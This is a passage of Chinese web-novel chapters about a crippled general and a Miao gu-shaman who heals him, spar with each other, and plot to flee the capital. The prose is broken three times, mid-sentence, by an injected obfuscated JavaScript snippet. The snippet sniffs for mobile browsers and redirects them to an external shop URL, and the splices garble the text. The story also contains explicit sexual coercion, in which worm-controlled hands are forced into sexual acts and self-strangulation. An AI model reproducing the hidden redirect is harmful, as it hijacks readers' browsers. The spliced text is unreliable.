他慢慢系好了之前没系上的衣服,但这落在来福眼中,自然而然变成了“将军和夫人刚刚结束一场酣战,将军才穿上衣服”,看他的眼神更加复杂了些。 将军和夫人穿衣服的速度真快啊,想必是非常熟练了,就比如之前在祠堂…… 来福叹了口气,觉得自己还是不要再多说为妙,将军想要,夫人也愿意满足他,两人你情我愿,没他一个小厮什么事。 将军和夫人感情真好啊。 这种时候再多嘴,就太不礼貌了。 但愿将军别再把自己做晕了,不过看他脸色有些苍白,额头似有冷汗,果然还是很勉强吧。 唉。 来福心情沉重地走上前:“昨日夫人说,让小的每天下午给将军按摩。” 苗霜:“你来得正好,现在就按吧,正好我歇会儿。” 来福:“……” 唉。 将军身体不好,还非想要,每次都要辛苦夫人,夫人替将军操心府里的事,又要照顾将军本人,可见情之深爱之切。 他还是多替夫人分担些,不能辜负了夫人的厚望。 想着,来福又振作起来,祁雁看着他脸上的表情几经变换,有些莫名其妙。 结束了今日份的按摩,本就因生病和苗霜一番折腾而浑身疲乏的祁雁精神放松下来,早早休息了。 一连歇了三天,敷完最后一次药,苗霜解下他腕上的绷带:“感觉如何?” 祁雁活动了一下右手。 手筋已经完全不疼了,之前那种不得劲的感觉也消失不见,如果不是手腕上的伤疤还在,他几乎感觉不出这只手受过伤。 他试着拿筷子、握笔,手指用起来十分顺畅灵活,和他受伤之前没有任何差别。 让他甚至觉得自己又能握得了长|枪,挽得了弓箭。 他不禁因为激动而滚了滚喉结,发出了相识多日来第一句由衷的赞叹:“你这蛊术……当真了得。” 如果这样的蛊术……或者称之为医术能用在战场上,那些因战争而断手断脚的将士们,是否也能重新拥有健全的躯体? “那是自然,”苗霜抱着胳膊,十分得意地说,“也不看看我是谁。” 他等着对方再夸两句,却见祁雁不知为何出了神,瞬间又不高兴了,轻轻踹了一脚他的小腿:“想什么呢?” 祁雁回过神来:“没什么。” 他冲苗霜伸出左手:“现在可以治这只了吧?” 苗霜嘴角一撇:“不治。” 祁雁:“?” 不是说好的?怎么还出尔反尔? “你这身体状况太差了,我可不想每天从阎王爷手里抢人,先调养一段时间再说。” 祁雁:“……” 不过是发了次烧而已,哪有那么夸张? 而且都治了一半了又停下,算哪门子事? 但不论他如何不愿意,苗霜说不治就不治,祁雁一连被灌了大半个月的药,居然也难喝习惯了。 京都在他调养身体的时间里彻底迈入了冬天,第一场雪纷纷而落,下得不算大,瓦片上落了薄薄的一层积雪,整个将军府染上一层素净的白。 祁雁坐在檐廊下,身上披着厚重的貂裘,温热的手炉贴着缠绕绷带的左腕——不知是不是这段时间喝下的汤药真起了效果,治疗左手时除了蛊虫噬咬的疼痛,他再没感觉到什么其他的不适。 苗霜倚在几步开外的柱子上,把手伸到檐外去接雪花,火红的狐狸毛披风在这雪景中鲜艳又热烈。 祁雁的视线落在他身上,看了一会儿,忽然听到他问:“大漠的雪是什么样子?” 祁雁愣了一下。 回想起这是自己病中的呓语,他沉思了一下,看向院子里薄薄的积雪:“很壮观,绵延起伏,无边无际,被阳光照耀的那面沙丘上的雪总是最先融化,像是蜿蜒的长河。” 苗霜听着他的描述,似乎能想象出那画面,那是在京都晏安绝对不可能见到的景象。 “如果能再回到塞北,我可以带你去看看。”祁雁说。 苗霜有些诧异地回头看了他一眼。 正在这时,不远处突然传来什么动静,紧接着是来福的惊呼:“小心!” 苗霜和祁雁同时扭过头—— 来福正端着水盆要去倒水,经过拐角时避让不及,和从另一边跑来的人撞个正着。 那是个四五岁的小女孩,身上穿着喜庆的红棉袄,和他这么一撞,整个人啪叽一下扑到了地上,棉袄的帽子扣下来盖住了脑袋,手里握着的木头小剑也摔脱了手,顺着地面滑出去,正停在祁雁跟前。 来福急忙放下水盆,将女孩扶了起来:“没事吧?” 地上的积雪被擦出一块人形,露出下面的地砖来, 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卢小满戳了戳那只白白胖胖的蛊虫:“苗霜哥哥,它长得好可爱。” “等它变成蛾子你就不觉得可爱了。” “蛾子也很可爱啊。” 祁雁在不远处看着他们,弯腰捡起了落在台阶下的木头小剑。 这小女孩倒也有趣,摔了一跤竟不哭不闹,甚至不怕苗霜的蛊虫。 蛊虫吸食完污血,在伤口表面留下一层透明的膜,伤口便神奇地不再流血了,卢小满高兴地说:“苗霜哥哥,我的手好啦!” 苗霜收了蛊虫:“下雪路滑,别总在府里跑来跑去。” 卢小满应了声,又想起什么来,开始四下寻找摔丢的小剑。 她的视线顺着地上的痕迹延伸到祁雁这边,这才注意到那里还有个人。 吓得一下子躲到了来福身后。 小动物害怕祁将军,小孩也同样怕,祁雁拿着那柄小剑,放轻了声音:“你是谁家的孩子?” “将军,她是账房卢先生的女儿,卢小满。”来福道。 账房的事祁雁听苗霜说起过,也猜到了,这些天偶尔会府中有小孩的笑闹声,但他一直在休养身体,很少离开房间,始终也没见过面。 来福又蹲下身,对卢小满说:“小满,那是祁将军,这座府邸的主人,快去跟将军打个招呼。” 卢小满有些害怕,但还是壮着胆子走上前来:“祁……叔叔好。” 祁雁:“……” 叔叔? 管苗霜叫哥哥,却管他叫叔叔? 他有那么老吗? 16. 第 16 章 注意到将军略显微妙的神色,来福急忙纠正:“小满,将军和夫人是夫妻,你要管夫人叫哥哥,就也得管将军叫哥哥才行。” “啊,”卢小满思考了一会儿,乖巧改口,“祁哥哥好。” 祁雁:“。” 更奇怪了。 以他的年纪,的确能当这孩子的叔叔,但苗霜…… 他忍不住用余光扫了一眼旁边的人,当初调查苗寨时,他得到的消息是“苗疆大巫弱冠之年”,后来虽然没有亲口问过本人,但目测消息是准确的。 成亲的这段时间,他从没在意过年纪的问题,直到被小孩喊叔叔,才发觉他和苗霜的年龄差距似乎有些太大了。 祁雁抿了抿唇,捏住剑尖,将木头小剑还给女孩。 卢小满小心翼翼地接过,发现这位看起来冷漠的将军并没她想象的那么凶,不禁又大胆起来:“谢谢祁哥哥!” “嗯,不客气。” 卢小满拿回了小剑,十分开心地对着空气挥舞了两下,又好奇地打量起祁雁来,扒住他的轮椅扶手,仰着头问:“祁哥哥为什么坐轮椅呢?” 虽说童言无忌,但这话实在冒犯,来福脸色微变,正想说点什么岔开话题,却听到祁雁已经回答了女孩的话:“因为哥哥腿受伤了,行动不便。” 听起来语气如常,并没生气。 来福松了口气。 “哦!我明白了,”卢小满又说,“爹爹伤了腿的时候也坐轮椅,可惜我力气太小了,没法帮爹爹推轮椅,要是娘亲还在就好了……” 她说着声音小了下去,用脚尖划拉着地面。 祁雁并不怎么会安慰人,只得伸出手,轻轻揉了揉她的脑袋。 卢小满又抬起头来,认真地问:“祁哥哥,有人帮你推轮椅吗?” 祁雁一愣。 他下意识地看向苗霜,发现苗霜正抱着胳膊看院子,貌似完全没在关注他们。 不知出于什么心理,祁雁笑了笑,回答说:“当然,夫人会帮我。” 苗霜:“?” 关他什么事? 这段时间难道不是来福在帮他,偶尔来福忙得顾头不顾脚,他才给祁雁推了那么……三四五六七八次。 顺手罢了,能叫帮吗? “我明白了!”卢小满兴奋地手舞足蹈,“苗霜哥哥一定很爱祁哥哥!” 苗霜:“……” 他脸色彻底黑了,上前捏住女孩毛茸茸的棉袄帽子,将他从祁雁身上拎了下来,笑眯眯道:“你又明白了,小屁孩懂什么叫‘爱’?” “我、我当然懂!”卢小满被他拎得双脚离地,两条小短腿胡乱扑腾,“我爹很爱我娘,我娘也很爱我爹!” 苗霜把她丢到一边:“玩你的破木头剑去。” “不要!我还有话要问祁哥哥!”卢小满又挣扎着跑了回来,“祁哥哥,来福哥哥说你是大将军,那你会武功吗?” 这个问题让祁雁沉默了一下,没立刻回答是或不是,而道:“怎么,小满想习武吗?” 卢小满用力点头。 “为什么想习武呢?你爹爹是账房先生,你可以和他学算术。” “我才不要学算术,我要习武!等我练会了武功,就能保护我爹和我娘,把那些坏人都打倒!” 女孩挥舞着小剑对着空气东戳西刺,也不知是从哪里看来的招式,还真有那么几分样子。 祁雁听着她的话,怔然出了神。 保护…… 这个词汇是如此的陌生又熟悉,他曾经也想保护什么东西,是亲人,是大雍的子民,是雁归军,还是…… 都是,也都不是。 似乎有什么更加重要的东西,他却无论如何也想不起来了,以至于心口有所空缺,难受得令人窒息。 祁雁皱了皱眉。 奇怪的缺失感让他心头绞痛,甚至怀疑是那只蛊虫游到了他心脏里,强行让自己不再去想,对女孩道:“小满,过来。” 卢小满回到他跟前,祁雁捏了捏她的胳膊和肩膀。 这孩子的筋骨倒确实很适合习武,只可惜他武功废尽,内力全无,已经没法教她了。 而且就算真的要教,也得先征求一下她父亲的意见。 他吩咐来福去叫来卢方,卢方一听女儿要习武,还嚷嚷到将军面前去了,吓得膝盖一软跪了下来:“将军恕罪!小女她只是顽童心态,说说而已,并非真的要习武啊!” “爹爹你干什么!”卢小满试图把他拉起来,“我不是说说,我真的想习武!” 卢方急得面红耳赤,低声呵斥女儿:“你知道习武要受多少苦?” “我知道,但我不怕!” “你……” 祁雁冲来福递了个眼色,来福会意,轻轻拉住卢小满:“小满,后院的雪积得很厚了,我带你去堆雪人好不好?” 卢小满瘪了瘪嘴,一脸委屈地看着自己爹爹,下一秒又笑得阳光灿烂,抓住来福的手:“好!我们现在就走吧!” 小孩的注意力总是很容易转移,来福带着卢小满离开,祁雁也开口道:“卢先生,起来吧。” 卢方站起身来,叹了口气。 “看卢先生的样子,应该早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14289249|152073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就知道小满想习武吧?”祁雁说,“不知小满今年多大了?” “五岁。” “那正是习武的好年纪。” 卢方苦笑了一下,本就沧桑的面容更沧桑了。 “不过……” 不过这位账房先生看起来有四十了,女儿居然才五岁? 看出祁雁的疑惑,卢方忙解释道:“其实小女并非我亲生,内人先天不足,无法生育,这孩子是我们捡来的,因那天刚好是小满,就取了名字叫‘小满’——啊,小女不知道此事,还望将军、夫人替我保密,就当是我老来得子吧。” 祁雁点了点头:“放心,我们不会插手别人的家事。” “多谢将军。” “难怪你女儿一点都不像你。”苗霜挑了挑眉。 卢方的笑容更苦涩了:“夫人教训的是,我窝囊,护不住发妻,反倒要女儿保护……真是惭愧啊。” 他长叹一声:“将军真要教小女习武吗?” 祁雁摇了摇头:“以我现在的状况却也教不了她,若是她悟性高,或许能指点个一招半式,但……” 但终究不如给她找个老师强。 他被罢官前也有三五好友,想找个能教武功的并不难,只不过现在他主动断了联络,让他们明哲保身,免得牵连进来。 等时机合适了再说吧。 看了看自己已经恢复得差不多了的双手,祁雁问:“不知小满可喜欢射箭?” “喜欢,昨日她还拿着弹弓在院子里乱打,我教训了她一顿,弹丸无眼,伤着人怎么办。今日她便不玩弹弓了,又去摆弄那小剑。” 卢方说着又叹气:“这孩子总是活泼过头,调皮得很。” “既如此,我便试着教她射箭,看看她是否真能吃得这份苦,至于其他的……待我身体好些了再说吧。” 卢方终究是接受了现实,深深朝他一揖:“谢将军。” 苗霜在旁边听着,不禁扯了扯嘴角,心说等你身体好了?那且等着去吧。 看来将军是有些闲不住了,这手才治好,就要教人射箭,大抵是这些天身体养好了些,就觉得自己又行了。 早知道就不给他下那么猛的药,慢慢吊着,半死不活得了。 免得他把注意力放在别人身上。 他似笑非笑地盯着祁雁看,好悬才忍住没在外人面前催动金色蛊虫,等到卢方走了,他冷哼一声,准备回房。 祁雁将轮椅转动方向,叫住他:“夫人。” 苗霜:“?” 祁雁:“我也要回房,夫人不帮我推轮椅吗?” 17.第 17 章 苗霜的眉头不可抑制地跳了起来,鸡皮疙瘩一层层往外冒。 虽说府里的下人也整日喊他“夫人”,可这两个字从祁雁嘴里吐出来,怎么就那么肉麻又恶心呢。 他完全没搭理对方,头也不回地直接进了屋。 祁雁一个人被扔在外面,雪还在下,一阵寒风吹来,雪花飘进檐廊落在他身上,带来点点凉意。 他忍不住裹紧了貂裘,重重地叹了口气。 刚叹完气,苗霜又沉着脸色从屋里出来了,一言不发地推上他回房,用力关上了房门。 屋内点着火盆,寒气被阻隔在外,苗霜看着他的背影,皮笑肉不笑道:“你还真演上瘾了。” 祁雁松了貂裘,语气淡淡:“不然怎么骗过陛下的耳目?” 自从上次苗霜进宫面圣回来,皇帝对他们的监视就从明处转到了暗处,苗霜在府内所有人身上都放了追踪蛊,发现只要有人出门,就会被暗处的眼睛盯上。 一举一动,一言一行,都在皇帝的监视之下。 最关键的是,除了苗霜以外,没有任何人察觉到这种监视,包括祁雁自己。 “我可没说今天有人趴在墙头偷听我们的谈话。”苗霜不咸不淡地说。 “我内力尽失,感知力自然不比大巫,不敢有半分松懈,万一传出去你我夫妻不和,你对陛下说的谎言就要不攻自破了。” 苗霜跟皇帝承诺情蛊能让祁雁爱上他,虽然祁雁自己并不相信,但还是得配合他演戏,让皇帝看到情蛊确有成效,又不能演得太假太过火。 究竟如何拿捏这个尺度就很成问题……总而言之言而总之,他们现在的任务是“扮演一对从针锋相对过渡到恩爱有加的夫妻”。 苗霜挑了挑眉,嘲讽他道:“别演着演着真把自己演进去了。” “这话该原话奉还给大巫才是。” 两人的视线无声对撞,似乎谁先移开谁就输了,终于苗霜嗤笑一声:“但愿你身上的情蛊也这么想。” 祁雁:“……” 自觉无趣的两人同时移开眼,谁也没再搭理谁。 这段时间祁雁身体好了些,总算有精神做些想做的事,他让来福去寻了一些木料,准备自己做一副弓箭出来。 想教小孩射箭,首先得有合适的弓箭才行,成年人用的弓小孩子自然拉不开,而且杀伤力太大了,他要是去弄一把真弓过来,只怕会即刻被皇帝抓回大牢。 祁雁花了几天时间将那段木料切削打磨,在火盆边烤至定型,慢慢做成一张弓。 这张弓的大小比正常弓小上许多,看起来更像是玩具,祁雁给它上好了弓弦,试了试手感,而后挽弓搭箭,一箭射出。 苗霜正在铺床,才直起腰,就听见身后传来破风之声,一支箭矢擦着他的肩头飞过,刚好插进头顶床架镂空雕花的缝隙里。 苗霜:“……” 他伸手摘下了那支玩具小箭,摸了摸平滑圆润的箭镞前端。 “看来准头还不错,”祁雁将弓放在了桌上,“我六岁时第一次学射箭,父亲也给我做过这样一张弓。” “我看你这手是彻底好了,”苗霜转过身来,似笑非笑地看着他,捏着那支小箭走上前,用箭尖抵住他的下颌,迫使他抬起头来,“都能挽弓射箭了,那做别的一定也不在话下吧?” 冰冷的金属贴着皮肤,祁雁一下子警惕起来:“却还没好利索。” “是吗?”箭尖顺着颈侧往下滑,刮过锁骨,一直游走到他的手腕,强行从绷带的缝隙插|入,将自己亲手绑上去的绷带重新挑开。 冷硬的箭镞重重划过腕间,顺着筋络的走势向前,在皮肤上留下一道醒目的红痕,又疼又痒,让祁雁本能地伸手攥住了箭杆。 “这不是恢复得挺好吗?”苗霜笑吟吟地说着,拿起放在桌上的弓轻轻抚摸,惊飞了不知何时停在上面的蓝色蛊蝶,“看来将军是把我说过的话全都抛在了脑后,我给你治伤,不是让你用这双手做这些事的。” 说罢,转头将那张弓丢进了火盆里。 祁雁:“……” 辛辛苦苦打磨了几天的弓就这样被烧了,他心头不禁涌起几分火气,怒道:“你又发什么疯?!” “我发什么疯?”苗霜用箭尖对准了他的眼睛,“你要是再用这对眼睛看别人,我就把你的眼珠子挖下来喂后院池塘的鱼。” 祁雁:“………………” 神经。 这段时间苗霜没再发疯,他还以为他变回了正常人,能和平共处一阵子了,结果还是这么的蛮不讲理无理取闹。 有病就去治。 身为苗疆大巫,治不好自己的脑子吗? 懒得陪他发疯,他把脸别到一边,却听见对方道:“过来。” 祁雁装没听见。 谁料下一秒,手筋突然传来一阵刺痛,那感觉诡异极了,仿佛有小虫子在血肉里爬,紧接着双手便不再受他控制,竟违背他的意愿伸向轮椅两侧,转动轮子向前驶去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295801|152073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祁雁:“!!” 这样的一幕实在惊悚又荒谬,他只感觉一阵寒意从脊椎直上头顶,眼睁睁地看着自己来到床前—— 苗霜已经在床上躺下了,一只手撑着头,好整以暇地欣赏他震惊又慌乱的表情:“我照顾了你那么多天,现在你手好了,却也不说回报我,将军,你真是让人失望。” 他用那支小箭敲了敲自己的肩膀,祁雁就看到自己的双手又动了起来,把他挪上床,来到苗霜身后,开始给他按肩膀。 苗霜闭上眼睛享受着“来自祁雁”的按摩,丝毫不顾对方已经黑如锅底的脸色。 按了一会儿,那双手就不再满足于肩膀,而是顺着腰侧绕到身前,隔着衣服抚摸揉捻。 祁雁眉头拧得死紧,眉宇间阴沉得快要滴出水来:“你到底要干什么?!” 苗霜没有说话,回答他的只有手上继续进行的动作,顺着单薄里衣的下摆探入,触上,握住…… 祁雁:“??!” 他已经无法用震惊形容自己此时的心情,这双用来握枪、射箭、杀敌的手这辈子没干过这种荒唐事,以至于让他面目狰狞,牙都要咬碎了。 掌心的茧子不断摩擦,手背因为愤怒而青筋暴起,苍白的皮肤泛了红,在昏暗的烛光下淫|靡又涩|情。 室内一片安静,只有火盆里炭火燃烧偶尔发出的噼啪声交杂在两人重叠的呼吸间,祁雁偏头看着那截近在咫尺的白皙的脖颈,险些没忍住一口咬断他的大动脉让他血溅当场。 不知过了多久,身前的人终于发出一声满足的喟叹,结束了对他漫长的折磨,也不知是有意的还是故意的,弄了他一手。 重新获得了双手的控制权,祁雁看着自己满手污渍,才压下去一点的杀意瞬间又攀升到了顶点,照着苗霜的脖子狠狠掐了下去—— “……呃!” 本该落在对方颈间的手却回到了自己脖子上,他对苗霜的杀意有多强,现在掐得就有多用力,祁雁很快感觉到了窒息的痛苦,虎口死死按在喉结边的小痣上,他额头青筋凸起,眼前一阵阵发黑—— “都说了让你别惹我,”苗霜慢条斯理地整理好了衣服,“将军,听说人不能掐死自己,你想不想当这个第一人,给大理寺制造一桩悬案?” 祁雁双手猛地松开,剧烈地咳嗽起来。 苗霜顺势捧住了他的脸,亲昵地亲了亲他的嘴唇,拇指在他唇边重重擦过,笑意吟吟道:“再有下次,让你用这里。” 18.第 18 章 祁雁眉头紧锁,厌恶至极地别开了脸。 他几乎是逃上了轮椅,阴沉着脸色来到盥盆边上,疯狂清洗双手和脖子。 皮肤被搓得泛红,恨不得褪掉一层皮,水打湿了袖子和领口,他这才目光沉沉地抬起头来。 苗霜躺在床上,背对着他,似乎睡着了。 这心肠歹毒又恶趣味的苗人,也就是欺负他内力尽失,但凡他有一成功力,便是靠这玩具弓和玩具小箭,也能一箭射穿他的脑袋。 他就不信苗霜操控蛊虫的速度能比箭更快。 祁雁气得咬牙切齿,眼中的杀意几乎要凝成实质。 ……等等,弓? 落在远处的视线又收至近前,他惊讶地发现那张玩具小弓竟还在好端端地躺在桌上。 怎么回事,不是已经被苗霜烧了吗? 他们发生争执时,他似乎看到有只蝴蝶飞过,难道是幻术? 祁雁用毛巾擦干手上的水,转动轮椅来到桌前,指尖触上弓身,神情难辨。 失而复得的惊喜在一瞬间冲淡了心中怒火,连刚刚被蛊虫操控着做那种事都没那么恶心了,他不明白苗霜这个人究竟是怎样长出了这样一副蛇蝎心肠,每次都让他恨到入骨,再给他一点微不足道的甜头。 就像那些令人生厌的蛊虫,明明让他疼得死去活来,却又偏偏能治好他的伤病。 祁雁摩挲着小弓,眉宇渐渐舒展,握着这张弓,他又仿佛回到了塞北,回到了军营里,幼时第一次握弓,他便激动地骑上马,拿着弓箭射练习用的箭靶,和军营里的士兵们比赛笑闹。 那些士兵们比他年长许多,有些是哥哥,有些是叔叔,他们都很尊敬祁老将军,也对他这个祁老将军的儿子照料有加。 虽然边塞的生活艰苦,但他并不觉得苦,只觉得快乐。 他从没想过有朝一日会离开战场,离开大漠和草原,他理应和无数将士们一样,为抗击匈奴戍卫边疆抛头颅洒热血,马革裹尸还。 忽然,苗霜的声音打断了他的思路,飞到塞北的心又咕咚一下沉回晏安城的将军府里:“我虽然暂时拖住了陛下,但一定不会拖得太久,年关之前,他或许会再召我进宫一趟。” 祁雁抬眼看他。 这人竟没睡着。 年关将近,无论是要债还是寻仇都要在新年到来前了结,季渊也一定想要了结这桩心病,他等不了太久。 “你想说什么?”祁雁问。 苗霜坐起身来:“我想说,你的看法是对的,这京畿皇城,天子脚下,的确不是我靠几只虫子就能翻云覆雨的地方。” 他看向对方:“但同样,也不是你这个被卸了兵权,夺了官位的将军能兴风作浪之地。” 祁雁皱了皱眉:“所以?” “所以,将军可愿与我做对亡命鸳鸯?”苗霜下了床,笑吟吟地来到他身边,盯着他比平常更有血色的唇瓣。 祁雁目光一凛,压低了声音:“你是说逃出京都?” 苗霜面露赞许:“我就喜欢和聪明人说话。” “……这不可能,”祁雁眉心渐渐拧紧,“陛下当年下了大功夫才把我调回京都,把我放在身边死死盯着,已经是他能容忍的极限,放我离开就是放虎归山,他绝对不可能答应。” “如果我说我有办法呢?”苗霜拿开了他手里那张碍眼的弓,顺势坐在了他身上,“我有办法带着你从这密不透风的牢笼里逃出去。” 祁雁的心脏突然快跳了几分。 他从没幻想过自己还能离开京都,不得不承认苗霜的话对他有着致命的吸引力,可仅仅是短短几秒钟,他又冷静了下来。 “很早我就想问了,你究竟用了什么方法让陛下信任你?”他问。 “这就不劳将军费心了,总之,这是你唯一能重新爬起来的方法,你要不要选择相信我这个敌人的敌人,你自己决定。” 苗霜不紧不慢地说着,他并不担心祁雁不答应,毕竟在原著当中,祁雁就是通过利用原主逃离了京都,才迎来后面的转机。 不过因为两人并不是同一阵营,他和原主勾心斗角了很长时间,伤势也因此一拖再拖。 祁雁沉默下来,似乎在思考。 “等下次陛下召我进京,我会想办法让他答应放我们离去,至于过程你不必多问,若我成功了,自然会告诉你。” “要是失败了呢?” “要是失败了……”苗霜捧住他的脸,亲昵地凑到他耳边,轻轻蹭了蹭他的脸颊,“那你就跟我一起去死,好不好?” “……”祁雁被气笑了。 温热的呼吸吐在耳边,这个家伙用最腻人的语气说着最骇人听闻的话,偏偏还如此理直气壮。 “好啊,”和这疯子相处得久了,他也快要被传染,“我不过一个废人,若是死了还能让苗疆大巫给我垫背,我也不亏。” 苗霜唇边的笑意扩大,十分高兴地吻上了他的唇,而祁雁竟也没有抗拒,他闭上双眼,回应了这个吻。 这一次没有腥涩粘腻的血气,没有想咬断对方舌头的刻骨的恨意,于是这个并不令人期待的吻竟也变得缠绵起来,滚烫的呼吸彼此重叠,这一刻他们仿佛世间最普通不过的夫妻,精神和身体都达到了契合和共鸣—— 苗霜搭在他肩头的手缓缓向下,轻轻挑开了他的腰带。 祁雁微微蹙眉,打断了这个吻:“又干什么?” “将军刚刚帮了我,难道不需要我帮你吗?”苗霜笑道,“哦,虽然不是你自愿的,不过没关系,我这人向来大度。” 祁雁:“……” 他试图推开对方的手:“不必。” “真的不吗?”苗霜咬了咬他的耳垂,“也许陛下明天就会召我进宫,也许明天我就会行动失败,你我都会死,就把这当成赴死前的最后一夜,如何?” 不等他作答,苗霜又开口,那语气有些幽怨:“这段时间为了给你调养身体,我也算是克制再克制了,怎么看也该是个善解人意的妻子,人不尽兴就去死,枉为人,将军若是今夜不满足我,等我死了,做鬼都不会放过你。” 祁雁神色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14305507|152073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复杂,终是松开了手。 衣带悄然滑落,昏暗的烛光下光影晃动,略显异样的声音在安静的卧房内格外清晰,没人记得他们究竟是什么时候滚上的床,又是什么时候结束的。 只有极致的欢愉在身体里爆发,在某个瞬间突破桎梏喷涌而出,犹如离弦之箭。 * 弓箭已经做好,第二天,祁雁让来福清理了将军府里的训练场。 这是一进相对僻静的院落,但祁雁自幼在边塞长大,极少回京,府里的训练场也是摆设,直到两年前他被陛下召回京中,才会偶尔回家,兴致来了,会在训练场里耍一会儿枪,或者是剑。 自从他被下狱,府里被抄家,训练场也再次荒废,入冬落了一层积雪,很多器械都破败了。 他让下人们把训练场收拾干净,换上新的箭靶。 以前这里的空间并不真的适合他练习射箭,给小孩玩倒是足够了。 祁雁将做好的弓箭交给卢小满,卢小满兴奋地接过,高兴得手舞足蹈:“谢谢祁哥哥!” “不客气。” 卢小满激动地围着他跑了一圈,然后仰起脸,盯着他的脖子,好奇地问:“祁哥哥,你脖子上为什么红了一块?” “……”祁雁急忙拉了拉衣领,掩盖住那块痕迹,“可能是被虫子咬的吧。” 卢小满疑惑地歪了歪头:“冬天也有虫子吗?爹爹跟我说冬天没有虫子呀。” 祁雁:“……” 他轻咳一声,回避了这个问题:“你爹爹说你经常拿着弹弓玩,那你用过弓箭吗?比弹弓打得更准。” 卢小满摇头:“没有。” “想不想学?” “想!” “好,”祁雁揉了揉她的脑袋,“那从今天开始,祁哥哥教你如何用弓,如何射箭,不过在那之前首先要记住,练习的时候一定不能对着人射,明白了吗?” “明白了!” “那我们开始吧。” 祁雁握住女孩的手,教她拉弓的姿势,而苗霜居然没来阻止,大抵是昨晚被他喂饱了,今天还在赖床。 接下来的几天,祁雁每天下午都会来指点一会儿卢小满,这孩子竟真对这事十分上心,一连练了数日也没有任何不耐烦。 年关越来越近,来福嚷嚷着要早早开始置办年货,但皇帝却始终没有再召见苗霜,某人借着“也许明天就会死”的由头频频折腾祁雁,把每天都当成最后一晚。 还好这段时间祁雁身体调养好了些,倒不至于真的被他榨干,只是苗霜总要折腾到后半夜,让他白天十分困倦。 这日下午,祁雁又在训练场看卢小满射箭,坐在轮椅上慢慢打了个哈欠。 这几天卢小满已经能将练习用箭射得游刃有余了,他便更换上了尖头箭镞,让箭能停留在箭靶上。 这孩子真有几分习武的天赋,如果好好培养,勤加训练,会有一番建树也说不定。 这时,他突然听到来福惊慌的声音:“将军!夫人!宫里来人了,说陛下要召见夫人进宫!” 19.第 19 章 祁雁目光一凛。 果然让苗霜说中了。 来福在他这边喊完,便风风火火地跑去找苗霜,祁雁想跟上去,手指刚碰到轮椅,却又停下。 还是别过问了,他不知道现在附近有没有陛下的暗卫,要是太在意这件事,反而会让陛下起疑。 于是他看向卢小满:“小满,怎么不继续练了?” 卢小满拿着弓箭,好奇地问:“祁哥哥,进宫是什么意思?” “就是……去面见圣上的意思。” “那,圣上叫苗霜哥哥去见他,是有好事发生吗?” 祁雁笑了笑:“或许吧。” * 上次进宫还在下雨,这一次已是寒冬腊月。 苗霜从车驾上下来,袖子里的白蛇还没进宫门就预知到了危险,紧紧地缠住了他的胳膊。 这次来宣陛下口谕的不是祝公公,带他进宫的也不是祝公公,待他来到寝殿,才看到那跟在陛下身边一脸谄媚的老太监。 苗霜不动声色地在心里冷笑了一下。 这次皇帝没晾他太久,热情地招呼他过来:“大巫啊,许久未见了,近日府上可好?” “托陛下的福,一切都好。” “那事情办得如何了?” 这季渊还真是迫不及待,寒暄的话都不愿意多说两句。 苗霜朝他一拱手:“我已查清圣蛊所在。” 季渊脸上的笑意骤然加深,他站起身来,走到苗霜身边,按住他的肩膀:“圣蛊何在?” “就在祁将军体内,”苗霜抬头迎上他的目光,“情蛊对他的效果越深,我对他的探知和掌控力就越强,这段时间我日日与他欢好,已经能探知到他体内圣蛊的所在了。” “他竟敢吞下圣蛊?”季渊手指用力,微眯双眼,目光陡然转寒,“乱臣贼子……果然是乱臣贼子!” 肩膀上传来剧痛,与体内涌起的虫噬之痛勾连在一起,苗霜看了看他,微微蹙眉:“陛下。” 季渊这才反应过来自己抓得太狠了般,松开了手。 “不过陛下也不必担心,圣蛊择良主而栖,即便强行吞下,也不意味着就能得到圣蛊的认可,祁雁体内的圣蛊没有和他融合的迹象,也就说明,他不是圣蛊选择的人。” 苗霜抬起头来,微微一笑:“您,才该是圣蛊认可的良主。” 这句话极大地取悦了季渊,他脸上的寒意冰解,十分欣赏地看着面前的人:“既然大巫说圣蛊还未和祁雁融合,为何不快快替朕把它剖出来?” 苗霜遗憾地摇了摇头:“并非草民不想,而是不能,圣蛊不是普通的蛊,隐匿性极高,即便是我也没法控制它,我虽能感知到它的存在,却不能捕捉它的行踪,若是直接剖,怕是将祁将军剁成碎末,也捉不到他体内的圣蛊。” “依大巫之言,是无法可解了?” “却也不尽然,我可以施展蛊术,想办法将圣蛊引诱出来。” “那大巫还在等什么?” “此术只能在苗疆施行,于圣蛊现世之地,需要数不清的药材毒虫作为辅助。” “朕这就派人去苗疆寻你所需之物——” 